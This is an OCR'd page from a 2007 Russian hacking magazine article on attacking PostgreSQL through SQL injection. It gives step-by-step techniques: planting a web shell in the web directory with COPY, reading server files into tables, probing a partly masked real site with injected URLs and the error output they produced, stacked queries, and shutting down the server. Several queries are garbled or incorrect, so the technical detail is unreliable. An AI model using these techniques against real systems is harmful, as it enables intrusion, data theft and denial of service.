Май - Xakep Online

взлом
Возможности программы COSS
NGSSQuirreL в действии
4. Для записи данных из файла в таблицу или наоборот, из
таблицы в файл в PostgreSQL, используется оператор COPY.
Вот его синтаксис, взятый из документации:
COPY tablename [ ( column [, ...] ) ]
TO { 'filename' | STDOUT }
[ [ WITH ]
[ BINARY ]
[ OIDS ]
[ DELIMITER [ AS ] 'delimiter' ]
[ NULL [ AS ] 'null string' ] ]
При копировании данных из таблицы в файл все просто:
copy targettable to '/home/www/';copy.
Для получения шелла в поле таблицы targettable, естественно,
должен быть прописан код, создающий шелл (пример запроса:
insert into «targettable"(columnname) values ('');). Поле columnname должно иметь строковой
тип (char, varchar). Единственное «но» — нужны соответствующие
права записи в файл и записи в директорию. Либо можно попытаться
перезаписать уже существующий файл. Далее мы просто
обращаемся к сайту напрямую, поскольку задана WWW-директория
(в примере). В общем, тут много вариантов, можно, к примеру,
еще и проапдейтить таблицу своими значениями (UPDATE).
Если же нужно копировать существующий файл в таблицу, то
последовательность действий должна быть следующей. Создаем
новую таблицу с одним столбцом, выполняем запрос,
копирующий файл в таблицу. Затем выполняем запрос для
выбора данных из таблицы.
Сами запросы по порядку:
create table mytable(columnname);
create table copy mytable (columnname) from '/home/www/file'
union select culumnname from «mytable»
5. Числа 0 и 1 не равнозначны булевым значениям TRUE и
FALSE. Об этом свидетельствует и сам ответ сервера.
Запрос:
http://club.*****.ru/?part_id=10 or 1
Вывод:
Warning: pg_query(): Query failed: ERROR: Argument of or must
be type boolean, not type integer in var/www/htdocs/veresk_
club/classes/SQL.class.php on line 25
Fatal error: Call to undefined function: fetchrow() in /var/www/
htdocs/veresk_club/classes/SQL.class.php on line 25
xàêåð 05 /101/ 07
/
Запрос:
http://club.*****.ru/?part_id=10 or TRUE
Вывод:
Страница сайта.
Запрос «http://club.*****.ru/?part_id=10 and TRUE=TRUE»
успешно выполнится, а «http://club.*****.ru/?part_id=10 and
TRUE=1» нет.
6. Все select-запросы разделяются точкой с запятой, но на
выходе мы наблюдаем результат только последнего запроса.
То есть использование «ядовитого нуля» обязательно.
Запрос:
http://club.*****.ru/?part_id=10;select 1/**/
Вывод:
Страница сайта.
7. Ограничение доступа никто не отменял, поэтому для
записи в файл нужны соответствующие права. Нужно
создать новый файл в доступной нам по правам
папке или писать в другой файл, также доступный
пользователю, под которым запущен PostgreSQL.
8. Функция chr() возвращает ASCII-код символа. Но ее использование
связано с некоторой сложностью, поскольку
функция принимает и возвращает только один символ.
Для получения кода целой строки придется вызывать
отдельную функцию для каждого символа и в последствии
объединять.
Пример:
Строка «123».
Кодирование:
chr(1)||chr(2)||chr(3)
9. Текущего пользователя можно узнать, вызвав функцию
User(), а версию — используя функцию version().
10. Вырубить сервер всегда можно с помощью
простой инструкции shutdown (при соответствующих
правах).
Все намного проще…
В начале этого повествования я не успел обрадовать читателя
и упомянуть о том, что извлечь данные из PostgreSQL при
определенных обстоятельствах намного легче, чем из той же
MySQL.
http://
Если хочется
протестировать
утилиты DB Audit
и NGSSQuirreL, то
их всегда можно
скачать с официальных
сайтов — www.
softtreetech.com и
www.ngssoftware.
com. Правда,
для скачивания
последней утилиты
придется
зарегистрироваться.
DVD
На диске ты
найдешь последние
версии PostgreSQL
и Oracle, а также
интересные книги по
структуре СУБД.
079